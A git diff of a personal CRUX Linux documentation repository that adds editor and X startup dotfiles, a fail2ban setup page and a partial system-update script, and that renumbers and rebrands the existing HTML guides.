+++ b/linux/conf/skel/.vimrc
@@ -0,0 +1,156 @@
+" Use Vim settings, rather than Vi settings (much better!).
+" This must be first, because it changes other options as a side effect.
+set nocompatible
+
+"" allow backspacing over everything in insert mode
+"set backspace=indent,eol,start
+"
+if has("vms")
+  set nobackup		" do not keep a backup file, use versions instead
+else
+  set backup		" keep a backup file (restore to previous version)
+  set undofile		" keep an undo file (undo changes after closing)
+endif
+
+set history=50		" keep 50 lines of command line history
+set ruler		" show the cursor position all the time
+set showcmd		" display incomplete commands
+set incsearch		" do incremental searching
+
+"" For Win32 GUI: remove 't' flag from 'guioptions': no tearoff menu entries
+"" let &guioptions = substitute(&guioptions, "t", "", "g")
+"
+"" Don't use Ex mode, use Q for formatting
+"map Q gq
+"
+"" CTRL-U in insert mode deletes a lot.  Use CTRL-G u to first break undo,
+"" so that you can undo CTRL-U after inserting a line break.
+"inoremap <C-U> <C-G>u<C-U>
+"
+"" In many terminal emulators the mouse works just fine, thus enable it.
+"if has('mouse')
+"  set mouse=a
+"endif
+"
+"" Switch syntax highlighting on, when the terminal has colors
+"" Also switch on highlighting the last used search pattern.
+
+" colorscheme desert
+set t_Co=256
+if &t_Co > 2 || has("gui_running")
+  syntax on
+  set hlsearch
+  set background=dark
+  colorscheme wombat256mod
+  " colorscheme desert
+  :hi SpellBad ctermfg=Black guifg=Black
+endif
+
+
+"" Only do this part when compiled with support for autocommands.
+if has("autocmd")
+"
+"  " Enable file type detection.
+"  " Use the default filetype settings, so that mail gets 'tw' set to 72,
+"  " 'cindent' is on in C files, etc.
+"  " Also load indent files, to automatically do language-dependent indenting.
+  filetype plugin indent on
+"
+"  " Put these in an autocmd group, so that we can delete them easily.
+  augroup vimrcEx
+  au!
+"
+"  " For all text files set 'textwidth' to 78 characters.
+"  autocmd FileType text setlocal textwidth=78
+"
+"  " When editing a file, always jump to the last known cursor position.
+"  " Don't do it when the position is invalid or when inside an event handler
+"  " (happens when dropping a file on gvim).
+  autocmd BufReadPost *
+    \ if line("'\"") >= 1 && line("'\"") <= line("$") |
+    \   exe "normal! g`\"" |
+    \ endif
+
+  augroup END
+
+else
+  set autoindent		" always set autoindenting on
+
+endif " has("autocmd")
+
+"" Convenient command to see the difference between the current buffer and the
+"" file it was loaded from, thus the changes you made.
+"" Only define it when not defined already.
+"if !exists(":DiffOrig")
+"  command DiffOrig vert new | set bt=nofile | r ++edit # | 0d_ | diffthis
+"		  \ | wincmd p | diffthis
+"endif
+"
+"if has('langmap') && exists('+langnoremap')
+"  " Prevent that the langmap option applies to characters that result from a
+"  " mapping.  If unset (default), this may break plugins (but it's backward
+"  " compatible).
+"  set langnoremap
+"endif
+
+" Search down into subfolders
+" Provides tab-completion for all file-related tasks
+set path+=**
+
+" Display all matching files when we tab complete
+set wildmenu
+
+" Better file browsing
+let g:netrw_banner=0        " disable annoying banner
+let g:netrw_browse_split=4  " open in prior window
+let g:netrw_altv=1          " open splits to the right
+let g:netrw_liststyle=3     " tree view
+let g:netrw_list_hide=netrw_gitignore#Hide()
+let g:netrw_list_hide.=',\(^\|\s\s\)\zs\.\S\+'
+
+
+map <F2> :tabnew
+map <F3> :tabprevious<CR>
+map <F4> :tabnext<CR>
+"
+"" Show Line Numbers
+set relativenumber
+set complete=.,b,u,]
+set wildmode=longest,list:longest
+set completeopt=menu,preview
+"
+"" Directories
+set backupdir=~/.vim/backup
+set undodir=~/.vim/undodir
+set viewdir=~/.vim/views
+set directory=~/.vim/swap
+"
+"" Spell Check
+set spell spelllang=en_us
+"
+"" Strips whitespace
+nnoremap <leader>W :%s/\s\+$//<cr>:let @/=''<CR>
+"
+"" Whitespace fixes
+highlight ExtraWhitespace ctermbg=red guibg=red
+
+match ExtraWhitespace /\s\+$/
+autocmd BufWinEnter * match ExtraWhitespace /\s\+$/
+autocmd InsertEnter * match ExtraWhitespace /\s\+\%#\@<!$/
+autocmd InsertLeave * match ExtraWhitespace /\s\+$/
+autocmd BufWinLeave * call clearmatches()
+"
+"
+"" For tab characters that appear 4-spaces-wide
+"set tabstop=4
+"" If you're using actual tab character in your source code you probably also 
+"" want these settings (these are actually the defaults,set them defensively):
+"set softtabstop=0 noexpandtab
+"" Finally, if you want an indent to correspond to a single tab, you should also use:
+""set shiftwidth=4
+"" For indents that consist of 4 space characters but are entered with the tab key:
+set tabstop=8 softtabstop=0 expandtab shiftwidth=4 smarttab
+"set list
+"" set past gives problems with tabs
+"" set paste
+""
diff --git a/linux/conf/skel/.xinitrc b/linux/conf/skel/.xinitrc
new file mode 100644
index 0000000..379a315
--- /dev/null
+++ b/linux/conf/skel/.xinitrc
@@ -0,0 +1,13 @@
+#xrandr --output eDP1 --mode 1024x768
+#xrandr -s 1366x768
+#xrandr --dpi 73
+#xrandr --dpi 96
+#xgamma -gamma 0.8
+setxkbmap dvorak
+#syndaemon -d
+#
+## Start the window manager
+
+#exec openbox-session
+#exec start-mate
+exec spectrwm
diff --git a/linux/configure.html b/linux/configure.html
index a548e5d..2e72c90 100644
--- a/linux/configure.html
+++ b/linux/configure.html
@@ -6,7 +6,7 @@
     </head>
     <body>
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
 
         <h1 id="chroot">1.2. Configure</h1>
 
@@ -273,10 +273,10 @@
         # End of file
         </pre>
 
-        <a href="index.html">Core OS Index</a>
-        <p>This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        <a href="index.html">GNU/Linux Index</a>
+        <p>This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
     </body>
diff --git a/linux/dash.html b/linux/dash.html
index a9aebee..47b9945 100644
--- a/linux/dash.html
+++ b/linux/dash.html
@@ -2,13 +2,13 @@
 <html dir="ltr" lang="en">
     <head>
         <meta charset='utf-8'>
-        <title>2.5.1. Dash</title>
+        <title>2.3.1. Dash</title>
     </head>
     <body>
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
 
-        <h1>2.5.1. Dash</h1>
+        <h1>2.3.1. Dash</h1>
 
 
         <p>By default dash installed as /bin/sh, if not relink;</p>
@@ -18,10 +18,10 @@
         </pre>
 
 
-        <a href="index.html">Core OS Index</a>
-        <p>This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        <a href="index.html">GNU/Linux Index</a>
+        <p>This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
     </body>
diff --git a/linux/exim.html b/linux/exim.html
index 028bfce..5cfed62 100644
--- a/linux/exim.html
+++ b/linux/exim.html
@@ -5,7 +5,7 @@
         <title>2.5. Exim</title>
     </head>
     <body>
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
         <h1>2.5. Exim</h1>
 
         <h2 id="conf">2.5.1. Exim Configuration</h2>
@@ -222,11 +222,11 @@
         poll pop.remote.com protocol POP3 user "drbob@remote.com" there with password "secretpass" is "bob@box" here
         </pre>
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
         <p>
-        This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
     </body>
diff --git a/linux/fail2ban.html b/linux/fail2ban.html
new file mode 100644
index 0000000..71bbdf9
--- /dev/null
+++ b/linux/fail2ban.html
@@ -0,0 +1,54 @@
+<!DOCTYPEhtml>
+<htmldir="ltr" lang="en">
+   <head>
+       <meta charset='utf-8'>
+       <title>Fail2ban</title>
+   </head>
+   <body>
+
+       <a href="index.html">Tools Index</a>
+
+       <h1>Fail2ban</h1>
+
+       <pre>
+       $ prt-get depinst fail2ban
+       </pre>
+
+       <h2 id="conf">1. Configure</h2>
+
+       <p>To start fail2ban at next boot edit /etc/rc.conf and add fail2ban.
+       Fail2ban will verify if /etc/fail2ban/jail.local exist, if exist will
+       use it. Copy distribution jail.conf to jail.locol;</p>
+
+       <pre>
+       $ sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
+       </pre>
+
+       <p>Edit /etc/fail2ban/jail.local, example configuration;</p>
+
+       <pre>
+       [ssh-iptables]
+
+       enabled  = enable
+       filter   = sshd
+       action   = iptables[name=SSH, port=ssh, protocol=tcp]
+                  sendmail-whois[name=SSH, dest=admin@box, sender=fail2ban@box, sendername="fail2ban"]
+                  logpath  = /var/log/auth
+                  maxretry = 5
+       </pre>
+
+       <p>Test a filter</p>
+
+        <pre>
+        # fail2ban-regex /var/log/iptables iptables-ssh.conf
+        </pre>
+
+        <a href="index.html">Tools Index</a>
+
+        <p>
+        This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
+        See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a> for copying conditions.</p>
+    </body>
+</html>
diff --git a/linux/hardening.html b/linux/hardening.html
index 041f999..0fd13e3 100644
--- a/linux/hardening.html
+++ b/linux/hardening.html
@@ -6,7 +6,7 @@
     </head>
     <body>
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
 
         <h1>2.6. Hardening</h1>
 
@@ -177,10 +177,10 @@
 
         <p>Add unnecessary tests to profile to have less noise.</p>
 
-        <a href="index.html">Core OS Index</a>
-        <p>This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        <a href="index.html">GNU/Linux Index</a>
+        <p>This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
 
diff --git a/linux/index.html b/linux/index.html
index 089d143..c9a130f 100644
--- a/linux/index.html
+++ b/linux/index.html
@@ -2,16 +2,16 @@
 <html dir="ltr" lang="en">
     <head>
         <meta charset='utf-8'>
-        <title>Core OS</title>
+        <title>GNU/Linux</title>
     </head>
     <body>
 
         <a href="../index.html">Documentation Index</a>
 
-        <h1>Core OS</h1>
+        <h1>GNU/Linux</h1>
 
-        <p>Core OS covers installation and configuration of
-        basic functionality of Crux 3.5 Gnu\Linux operating system.
+        <p>GNU/Linux covers installation and configuration of
+        basic functionality of Crux 3.6 Gnu\Linux operating system.
         This documentation try's to follow Crux HandBook installation
         method diverges, for example, by only installing and
         documenting gpt and grub2.<p>
@@ -21,10 +21,10 @@
         folder the install process is automated and <a href="ports/">ports</a>
         for extra ports used during the installation.</p>
 
-        <h2>1. Install Crux 3.5 Gnu/Linux</h2>
+        <h2>1. Install Crux 3.6 Gnu/Linux</h2>
 
         <ul>
-            <li><a href="install.html">1.1. Install Crux 3.5</a>
+            <li><a href="install.html">1.1. Install Crux 3.6</a>
                 <ul>
                     <li><a href="install.html#step1">1.1.1. Download</a></li>
                     <li><a href="install.html#step2">1.1.2. Prepare target</a></li>
@@ -105,31 +105,38 @@
                     <li><a href="linux.html#remove">2.1.6. Remove</a></li>
                 </ul>
             </li>
-            <li><a href="network.html">2.2. Network</a>
+
+            <li><a href="package.html">2.2. Package Management</a>
                 <ul>
-                    <li><a href="network.html#resolv">2.2.1. Resolver</a></li>
-                    <li><a href="network.html#static">2.2.2. Static ip</a></li>
-                    <li><a href="network.html#iptables">2.2.3. Iptables</a></li>
-                    <li><a href="network.html#wpa">2.2.4. Wpa and dhcpd</a></li>
-                    <li><a href="network.html#nm">2.2.5. NetworkManager</a></li>
+                    <li><a href="package.html#sysup">2.2.1. Update system</a></li>
+                    <li><a href="package.html#depinst">2.2.2. Install ports and dependencies</a></li>
+                    <li><a href="package.html#ports">2.2.3. Ports collections</a></li>
+                    <li><a href="package.html#info">2.2.3. Show port information</a></li>
+                    <li><a href="package.html#depends">2.2.4. Show port dependencies</a></li>
+                    <li><a href="package.html#printf">2.2.5. Print information</a></li>
                 </ul>
             </li>
-            <li><a href="package.html">2.3. Package Management</a>
+
+            <li><a href="tty-terminal.html">2.3. Terminals and shells</a>
                 <ul>
-                    <li><a href="package.html#sysup">2.3.1. Update system</a></li>
-                    <li><a href="package.html#depinst">2.3.2. Install ports and dependencies</a></li>
-                    <li><a href="package.html#ports">2.3.3. Ports collections</a></li>
-                    <li><a href="package.html#info">2.3.3. Show port information</a></li>
-                    <li><a href="package.html#depends">2.3.4. Show port dependencies</a></li>
-                    <li><a href="package.html#printf">2.3.5. Print information</a></li>
+                    <li><a href="dash.html">2.3.1. Dash</a></li>
+                    <li><a href="bash.html">2.3.2. Bash</a></li>
                 </ul>
             </li>
-            <li><a href="tty-terminal.html">2.4. Terminals and shells</a>
-                <ul>
-                    <li><a href="dash.html">2.4.1. Dash</a></li>
-                    <li><a href="bash.html">2.4.2. Bash</a></li>
-                </ul>
+	    <li><a href="syslog-ng.html">2.4. Syslog-ng</a>
+		<ul>
+		    <li><a href="syslog-ng.html#install">Install syslog-ng</a></li>
+		    <li><a href="syslog-ng.html#configure">Configure syslog-ng</a></li>
+		    <li><a href="logrotate.html">Logrotate</a></li>
+		    <li><a href="logwatch.html">Logwatch</a>
+			<ul>
+			    <li><a href="logwatch.html#conf">Configure Logwatch</a></li>
+			    <li><a href="logwatch.html#cron">Set cron task</a></li>
+			</ul>
+		    </li>
+	        </ul>
             </li>
+
             <li><a href="exim.html">2.5. Exim</a>
                 <ul>
                     <li><a href="exim.html#conf">2.5.1. Exim configuration</a></li>
@@ -144,8 +151,8 @@
                     <li><a href="apparmor.html">2.6.1. AppArmor</a>
                         <ul>
                             <li><a href="apparmor.html#install">2.6.1.1 Install</h2></li>
-                            <li><a href="apparmor.html#configure">6.2.1.2 Configure</h2></li>
-                            <li><a href="apparmor.html#profiles">6.2.1.3 Profiles</h2></li>
+                            <li><a href="apparmor.html#configure">2.6.1.2 Configure</h2></li>
+                            <li><a href="apparmor.html#profiles">2.6.1.3 Profiles</h2></li>
                             <li><a href="apparmor.html#audit">2.6.1.4 Profile with audit</h2></li>
                             <li><a href="apparmor.html#edit">2.6.1.5 Edit profiles</h2></li>
                             <li><a href="apparmor.html#speedup">2.6.1.6 Speedup startup</h2></li>
@@ -154,17 +161,50 @@
                     <li><a href="sysctl.html">2.6.2. Sysctl</a></li>
                     <li><a href="toolchain.html">2.6.3. Toolchain</a></li>
                     <li><a href="samhain.html">2.6.4. Samhain</a></li>
+		    <li><a href="fail2ban.html">2.6.5 Fail2ban</a></li>
                 </ul>
             </li>
 
+
+            <li><a href="network.html">2.7. Network</a>
+                <ul>
+                    <li><a href="network.html#resolv">2.7.1. Resolver</a></li>
+                    <li><a href="network.html#static">2.7.2. Static ip</a></li>
+                    <li><a href="network.html#iptables">2.7.3. Iptables</a></li>
+                    <li><a href="network.html#bridge">2.7.4. Bridges</a></li>
+                    <li><a href="network.html#wpa">2.7.5. Wpa and dhcpd</a></li>
+                    <li><a href="network.html#nm">2.7.6. NetworkManager</a></li>
+		    <li><a href="dnsmasq.html">2.7.7. Dnscrypt and Dnsmasq</a></li>
+		    <li><a href="tcpdump.html">2.7.8. Tcpdump</a></li>
+		    <li><a href="nmap.html">2.7.9. Nmap</a></li>
+		    <li><a href="wireless.html">2.7.10 Wireless</a></li>
+		</ul>
+	    </li>
+	    <li><a href="storage.html">2.4 Storage</a>
+		<ul>
+		    <li><a href="storage.html#fsck">1. Maintenance</a></li>
+		    <li><a href="storage.html#mv">2. Moving data</a></li>
+		    <li><a href="storage.html#resize">2. Resize</a></li>
+		</ul>
+	    </li>
+	    <li><a href="lvm.html">2.5. LVM</a>
+		<ul>
+		    <li><a href="lvm.html#lvmpart">1. LVM partition</a></li>
+		    <li><a href="lvm.html#pv">2. Create physical volume</a></li>
+		    <li><a href="lvm.html#vg">3. Create volume group</a></li>
+		    <li><a href="lvm.html#lv">4. Create logical volume</a></li>
+		    <li><a href="lvm.html#fsck">5. Maintenance</a></li>
+		</ul>
+	    </li>
+
         </ul>
 
         <a href="../index.html">Documentation Index</a>
 
         <p>
-        This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
 
diff --git a/linux/install.html b/linux/install.html
index 64fbe02..299027e 100644
--- a/linux/install.html
+++ b/linux/install.html
@@ -2,20 +2,20 @@
 <html dir="ltr" lang="en">
     <head>
         <meta charset='utf-8'>
-        <title>1.1. Install Crux 3.5</title>
+        <title>1.1. Install Crux 3.6</title>
     </head>
     <body>
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
 
-        <h1>1.1. Install Crux 3.5</h1>
+        <h1>1.1. Install Crux 3.6</h1>
 
-        <p>Installation of minimal Crux 3.5 Gnu\Linux system,
+        <p>Installation of minimal Crux 3.6 Gnu\Linux system,
         with selected packages from core, opt and contrib
         ports. Process of installation documented can be
         executed from iso or from existing gnu\linux installation.
         Read
-        <a href="http://crux.nu/Main/Handbook3-5">Hand book 3.5</a>,
+        <a href="http://crux.nu/Main/Handbook3-6">Hand book 3.6</a>,
         .</p>
 
         <p>If you are booting from crux iso and is not your keyboard
@@ -129,12 +129,12 @@
 
         <p>Create encrypted block for lvm, partition layout of efi and bios boot systems is different.</p>
 
-        <p>On bios_boot systems partition should be  2;</p>
+        <p>On bios_boot systems partition should be  2 (sda4);</p>
 
         <pre>
         (parted) set 4 lvm on
-        # cryptsetup luksFormat /dev/sda2
-        # cryptsetup luksOpen /dev/sda2 cryptlvm
+        # cryptsetup luksFormat /dev/sda4
+        # cryptsetup luksOpen /dev/sda4 cryptlvm
         </pre>
 
         <p>Create physical group and volume group;</p>
@@ -397,10 +397,10 @@
         $ sudo cp -R  conf/skel $CHROOT/etc/
         </pre>
 
-        <a href="index.html">Core OS Index</a>
-        <p>This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        <a href="index.html">GNU/Linux Index</a>
+        <p>This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
 
diff --git a/linux/linux.html b/linux/linux.html
index 9d568e9..3d992e9 100644
--- a/linux/linux.html
+++ b/linux/linux.html
@@ -6,7 +6,7 @@
     </head>
     <body>
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
 
         <h1 id="kernel">2.1. Kernel Linux</h1>
 
@@ -855,10 +855,10 @@
         $ sudo rm /boot/System.map-4.9.86-gnu
         </pre>
 
-        <a href="index.html">Core OS Index</a>
-        <p>This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        <a href="index.html">GNU/Linux Index</a>
+        <p>This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
 
diff --git a/linux/network.html b/linux/network.html
index 0d359f3..a0e542e 100644
--- a/linux/network.html
+++ b/linux/network.html
@@ -2,12 +2,12 @@
 <html dir="ltr" lang="en">
     <head>
         <meta charset='utf-8'>
-        <title>2.2. Network</title>
+        <title>2.7. Network</title>
     </head>
     <body>
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
 
-        <h1>2.2. Network</h1>
+        <h1>2.7. Network</h1>
 
         <p>Operation of the network can be handle with init scripts or with
         <a href="#nm">network manager</a>;</p>
@@ -52,7 +52,7 @@
         described scripts then proceed to
         <a href="package.html#sysup">update system.</a></p>
 
-        <h2 id="resolv">2.2.1. Resolver</h2>
+        <h2 id="resolv">2.7.1. Resolver</h2>
 
         <p>This example will use
         <a href="http://www.chaoscomputerclub.de/en/censorship/dns-howto">Chaos Computer Club</a>
@@ -68,7 +68,7 @@
         # chattr +i /etc/resolv.conf
         </pre>
 
-        <h2 id="static">2.2.2. Static IP</h2>
+        <h2 id="static">2.7.2. Static IP</h2>
 
         <p>Current example of <a href="conf/rc.d/net">/etc/rc.d/net</a>;</p>
 
@@ -115,7 +115,7 @@
         # ip route add default via ${GW}
         </pre>
 
-        <h2 id="iptables">2.2.3. Iptables</h2>
+        <h2 id="iptables">2.7.3. Iptables</h2>
 
         <p>For more information about firewall systems read arch wiki
         <a href="https://wiki.archlinux.org/index.php/Iptables">iptables</a>
@@ -269,7 +269,7 @@
         # iptables -L -n -v | less
         </pre>
 
-        <h3 id="ipt_scripts">2.2.3.1. Iptable scripts</h3>
+        <h3 id="ipt_scripts">2.7.3.1. Iptable scripts</h3>
 
         <p>Scripts help to setup iptables rules so they can be saved using iptables-save
         and later restored using iptables-restore utilities. Init script
@@ -309,7 +309,45 @@
 
         <p>From now on use /etc/rc.d/iptables to start and stop.<p>
 
-        <h2 id="wpa">2.2.4. Wpa and dhcpd</h2>
+        <h2 id="bridge">2.7.4 Bridges</h2>
+
+        <p>For more information about bridges read
+        <a href="http://ebtables.netfilter.org/br_fw_ia/br_fw_ia.html#section7">bridges with iptables</a>.
+        Script <a href="conf/etc/rc.d/blan">/etc/rc.d/blan</a> creates br0 bridge interface
+        with 10.0.0.1 ip. Number of tap interfaces created and attached depends on number
+        of cpu cores available. Ethernet interface is added to the bridge. Edit /etc/rc.conf
+        to setup interfaces at startup;</p>
+
+        <pre>
+        #
+        # /etc/rc.conf: system configuration
+        #
+
+        FONT=default
+        KEYMAP=dvorak
+        TIMEZONE="Europe/Lisbon"
+        HOSTNAME=machine
+        SYSLOG=sysklogd
+        SERVICES=(lo iptables wlan blan crond)
+
+        # End of file
+        </pre>
+
+        <p>Change iptables init script
+        <a href="../linux/conf/rc.d/iptables">/etc/rc.d/iptables</a>
+        and set TYPE to bridge,
+        <a href="../linux/conf/iptables/bridge.v4">/etc/iptables/bridge.v4</a>.
+        Now change
+        <a href="../linux/conf/iptables/ipt-conf.sh">ipt-conf.sh</a>
+        and <a href="../linux/conf/iptables/ipt-bridge.sh">ipt-bridge.sh</a>
+        with your network configuration and run;
+        </p>
+
+        <pre>
+        # bash ipt-bridge.sh
+        </pre>
+
+        <h2 id="wpa">2.7.5. Wpa and dhcpd</h2>
 
         <p>There is more information on
         <a href="http://crux.nu/Wiki/WifiStartScripts">Wiki Wifi Start Scripts</a> and
@@ -327,7 +365,7 @@
         # iwconfig wlp2s0 essid NAME key s:ABCDE12345
         </pre>
 
-        <h3>2.2.4.1. Wpa Supplicant</h3>
+        <h3>2.7.4.1. Wpa Supplicant</h3>
 
         <p>Configure wpa supplicant edit;</p>
 
@@ -357,7 +395,7 @@
         init script to auto load wpa configuration and dhcp
         client.</p>
 
-        <h3>2.2.4.2. Wpa Cli</h3>
+        <h3>2.7.4.2. Wpa Cli</h3>
 
         <pre>
         # wpa_cli
@@ -396,7 +434,7 @@
         &gt; save_config
         </pre>
 
-        <h2 id="nm">2.2.5. Network Manager</h2>
+        <h2 id="nm">2.7.6. Network Manager</h2>
 
         <p>Wifi status;</p>
 
@@ -425,11 +463,12 @@
         nmcli> save persistent
         </pre>
 
-        <a href="index.html">Core OS Index</a>
+
+        <a href="index.html">GNU/Linux Index</a>
         <p>
-        This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
 
diff --git a/linux/package.html b/linux/package.html
index 5235d01..78069eb 100644
--- a/linux/package.html
+++ b/linux/package.html
@@ -2,13 +2,13 @@
 <html dir="ltr" lang="en">
     <head>
         <meta charset='utf-8'>
-        <title>2.3. Package Management</title>
+        <title>2.2. Package Management</title>
     </head>
     <body>
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
 
-        <h1>2.3. Package Management</h1>
+        <h1>2.2. Package Management</h1>
 
         <p>For more information read crux handbook Package management
         front-end:
@@ -57,7 +57,7 @@
         $ prt-get depinst prt-utils prt-get-bashcompletion
         </pre>
 
-        <h2 id="sysup">2.3.1. Update System</h2>
+        <h2 id="sysup">2.2.1. Update System</h2>
 
         <p>Before build software get latest version of port collections;</p>
 
@@ -87,7 +87,7 @@
         $ prt-get update -fr $(revdep)
         </pre>
 
-        <h2 id="depinst">2.3.2. Install port and dependencies</h2>
+        <h2 id="depinst">2.2.2. Install port and dependencies</h2>
 
         <p>Installing using prt-get tool;</p>
 
@@ -111,7 +111,7 @@
         <p>If you user pkgmk and pkgadd allways check if README, pre and post
         instal files exist.</p>
 
-        <h3 id="ports">2.3.3. Ports collections</h3>
+        <h3 id="ports">2.2.3. Ports collections</h3>
 
         <p>Clone this documentation;</p>
 
@@ -146,7 +146,7 @@
         $ sudo ports -u ports
         </pre>
 
-        <h2 id="info">2.3.4. Show port information</h2>
+        <h2 id="info">2.2.4. Show port information</h2>
 
         <pre>
         $ prt-get info port_name
@@ -164,13 +164,13 @@
         $ pkginfo -o filename
         </pre>
 
-        <h2 id="depends">2.3.5. Show port dependencies</h2>
+        <h2 id="depends">2.2.5. Show port dependencies</h2>
 
         <pre>
         $ prt-get depends port_name
         </pre>
 
-        <h2 id="printf">2.3.6. Print information</h2>
+        <h2 id="printf">2.2.6. Print information</h2>
 
         <p>Example how to get ports installed from contrib. Maybe there is
         a "cleaner" way to this, for now is ok;</p>
@@ -179,10 +179,10 @@
         prt-get printf "%p %i %n %v\n" | grep "/usr/ports/contrib yes"
         </pre>
 
-        <a href="index.html">Core OS Index</a>
-        <p>This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        <a href="index.html">GNU/Linux Index</a>
+        <p>This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
 
diff --git a/linux/ports.html b/linux/ports.html
index 78607bd..28047c5 100644
--- a/linux/ports.html
+++ b/linux/ports.html
@@ -6,7 +6,7 @@
     </head>
     <body>
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
 
         <h1>1.4. Ports</h1>
 
@@ -254,11 +254,11 @@
         DISTCC_LOG_LEVEL="info"
         </pre>
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
         <p>
-        This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
     </body>
diff --git a/linux/reboot.html b/linux/reboot.html
index 1a4783b..f8ab278 100644
--- a/linux/reboot.html
+++ b/linux/reboot.html
@@ -6,7 +6,7 @@
     </head>
     <body>
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
 
         <h1>1.3. Boot</h1>
 
@@ -222,10 +222,10 @@
         36875 blocks
         </pre>
 
-        <a href="index.html">Core OS Index</a>
-        <p>This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        <a href="index.html">GNU/Linux Index</a>
+        <p>This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
     </body>
diff --git a/linux/samhain.html b/linux/samhain.html
index 4c940ef..f679749 100644
--- a/linux/samhain.html
+++ b/linux/samhain.html
@@ -6,7 +6,7 @@
     </head>
     <body>
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
 
         <h1 id="samhain">2.6.4. Samhain</h1>
 
@@ -253,11 +253,11 @@
         # samhain -t update -l none --listfile=/root/list_of_files
         </pre>
 
-        <a href="index.html">Core OS Index</a>
+        <a href="index.html">GNU/Linux Index</a>
         <p>
-        This is part of the Tribu System Documentation.
-        Copyright (C) 2020
-        Tribu Team.
+        This is part of the LeetIO System Documentation.
+        Copyright (C) 2021
+        LeetIO Team.
         See the file <a href="../fdl-1.3-standalone.html">Gnu Free Documentation License</a>
         for copying conditions.</p>
 
diff --git a/linux/scripts/mirror-system b/linux/scripts/mirror-system
new file mode 100755
index 0000000..73a5473
--- /dev/null
+++ b/linux/scripts/mirror-system
@@ -0,0 +1,73 @@
+#!/bin/bash
+
+if [ -f /tmp/mirror ]; then
+	echo "mirror system is already running"
+	exit 0
+fi
+
+touch /tmp/mirror
+
+#BUILD_NAME="R2D9"
+#BUILD_TITLE="${BUILD_NAME}-$(cat /usr/ports/releases/stable/metadata/build-version)"
+BUILD_TITLE="Crux 3.6"
+
+# Update system
+ports -u
+
+# make them look like updated
+echo "touch packages..."
+for package in /usr/ports/packages/*; do
+	touch ${package};
+done
+
+# make sure permissions are right
+echo "chown pkgmk:pkgmk -R /usr/ports"
+chown pkgmk:pkgmk -R /usr/ports
+
+echo "update system"
+prt-get depinst $(prt-get listinst | xargs prt-get quickdep)
+prt-get sysup
+prt-get update -fr $(revdep)
+
+# Create list of installed packages
+echo "creating list of installed..."
+rm -r /usr/ports/installed
+pkg_installed
+
+### clean distribution files
+mkdir -p /usr/ports/archive/distfiles
+mv /usr/ports/distfiles/* /usr/ports/archive/distfiles
+### clean packages files
+mkdir -p /usr/ports/archive/packages
+mv /usr/ports/packages/* /usr/ports/archive/packages
+### get sources and packages
+cd /usr/ports/installed
+for installed in *; do
